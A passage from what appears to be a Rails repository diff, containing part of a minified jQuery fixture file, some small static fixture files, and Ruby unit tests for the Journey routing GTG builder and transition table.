e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var Dn=/[\t\r\n\f]/g;it.fn.extend({addClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u="string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):" ")){for(o=0;i=t[o++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=it.trim(r),n.className!==a&&(n.className=a)}return this},removeClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u=0===arguments.length||"string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):"")){for(o=0;i=t[o++];)for(;r.indexOf(" "+i+" ")>=0;)r=r.replace(" "+i+" "," ");a=e?it.trim(r):"",n.className!==a&&(n.className=a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof 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n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var 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\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/gzip/foo.zoo.gz b/actionpack/test/fixtures/公共/gzip/foo.zoo.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/foo.zoo.gz
diff --git a/actionpack/test/fixtures/公共/index.html b/actionpack/test/fixtures/公共/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/index.html
@@ -0,0 +1 @@
+/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/other-index.html b/actionpack/test/fixtures/公共/other-index.html
new file mode 100644
index 0000000000..0820dfcb6e
--- /dev/null
+++ b/actionpack/test/fixtures/公共/other-index.html
@@ -0,0 +1 @@
+/other-index.html
\ No newline at end of file
diff --git a/actionpack/test/journey/gtg/builder_test.rb b/actionpack/test/journey/gtg/builder_test.rb
new file mode 100644
index 0000000000..b92460884d
--- /dev/null
+++ b/actionpack/test/journey/gtg/builder_test.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module GTG
+      class TestBuilder < ActiveSupport::TestCase
+        def test_following_states_multi
+          table = tt ["a|a"]
+          assert_equal 1, table.move([0], "a").length
+        end
+
+        def test_following_states_multi_regexp
+          table = tt [":a|b"]
+          assert_equal 1, table.move([0], "fooo").length
+          assert_equal 2, table.move([0], "b").length
+        end
+
+        def test_multi_path
+          table = tt ["/:a/d", "/b/c"]
+
+          [
+            [1, "/"],
+            [2, "b"],
+            [2, "/"],
+            [1, "c"],
+          ].inject([0]) { |state, (exp, sym)|
+            new = table.move(state, sym)
+            assert_equal exp, new.length
+            new
+          }
+        end
+
+        def test_match_data_ambiguous
+          table = tt %w{
+            /articles(.:format)
+            /articles/new(.:format)
+            /articles/:id/edit(.:format)
+            /articles/:id(.:format)
+          }
+
+          sim = NFA::Simulator.new table
+
+          match = sim.match "/articles/new"
+          assert_equal 2, match.memos.length
+        end
+
+        ##
+        # Identical Routes may have different restrictions.
+        def test_match_same_paths
+          table = tt %w{
+            /articles/new(.:format)
+            /articles/new(.:format)
+          }
+
+          sim = NFA::Simulator.new table
+
+          match = sim.match "/articles/new"
+          assert_equal 2, match.memos.length
+        end
+
+        private
+          def ast(strings)
+            parser = Journey::Parser.new
+            asts   = strings.map { |string|
+              memo = Object.new
+              ast  = parser.parse string
+              ast.each { |n| n.memo = memo }
+              ast
+            }
+            Nodes::Or.new asts
+          end
+
+          def tt(strings)
+            Builder.new(ast(strings)).transition_table
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
new file mode 100644
index 0000000000..9fa4c8a10f
--- /dev/null
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/json/decoding"
+
+module ActionDispatch
+  module Journey
+    module GTG
+      class TestGeneralizedTable < ActiveSupport::TestCase
+        def test_to_json
+          table = tt %w{
+            /articles(.:format)
+            /articles/new(.:format)
+            /articles/:id/edit(.:format)
+            /articles/:id(.:format)
+          }
+
+          json = ActiveSupport::JSON.decode table.to_json
+          assert json["regexp_states"]
+          assert json["string_states"]
+          assert json["accepting"]
+        end
+
+        if system("dot -V 2>/dev/null")
+          def test_to_svg
+            table = tt %w{
+              /articles(.:format)
+              /articles/new(.:format)
+              /articles/:id/edit(.:format)
+              /articles/:id(.:format)
+            }
+            svg = table.to_svg
+            assert svg
+            assert_no_match(/DOCTYPE/, svg)
+          end
+        end
+
+        def test_simulate_gt
+          sim = simulator_for ["/foo", "/bar"]
+          assert_match_route sim, "/foo"
+        end
+
+        def test_simulate_gt_regexp
+          sim = simulator_for [":foo"]
+          assert_match_route sim, "foo"
+        end
+
+        def test_simulate_gt_regexp_mix
+          sim = simulator_for ["/get", "/:method/foo"]
+          assert_match_route sim, "/get"
+          assert_match_route sim, "/get/foo"
+        end
+
+        def test_simulate_optional
+          sim = simulator_for ["/foo(/bar)"]
+          assert_match_route sim, "/foo"
+          assert_match_route sim, "/foo/bar"
+          assert_no_match_route sim, "/foo/"
+        end
+
+        def test_match_data
+          path_asts = asts %w{ /get /:method/foo }
+          paths     = path_asts.dup
+
+          builder = GTG::Builder.new Nodes::Or.new path_asts
+          tt = builder.transition_table
+
+          sim = GTG::Simulator.new tt
+
+          memos = sim.memos "/get"
+          assert_equal [paths.first], memos
+
+          memos = sim.memos "/get/foo"
+          assert_equal [paths.last], memos
+        end
+
+        def test_match_data_ambiguous
+          path_asts = asts %w{
+            /articles(.:format)
+            /articles/new(.:format)
+            /articles/:id/edit(.:format)
+            /articles/:id(.:format)
+          }
+
+          paths = path_asts.dup
+          ast   = Nodes::Or.new path_asts
+
+          builder = GTG::Builder.new ast
+          sim     = GTG::Simulator.new builder.transition_table
+
+          memos = sim.memos "/articles/new"
+          assert_equal [paths[1], paths[3]], memos
+        end
+
+        private
+          def asts(paths)
+            parser = Journey::Parser.new
+            paths.map { |x|
+              ast = parser.parse x
+              ast.each { |n| n.memo = ast }
+              ast
+            }
+          end
+
+          def tt(paths)
+            x = asts paths
+            builder = GTG::Builder.new Nodes::Or.new x
+            builder.transition_table
+          end
+
+          def simulator_for(paths)
+            GTG::Simulator.new tt(paths)
+          end
+
+          def assert_match_route(simulator, path)
+            assert simulator.memos(path), "Simulator should match #{path}."
+          end
+
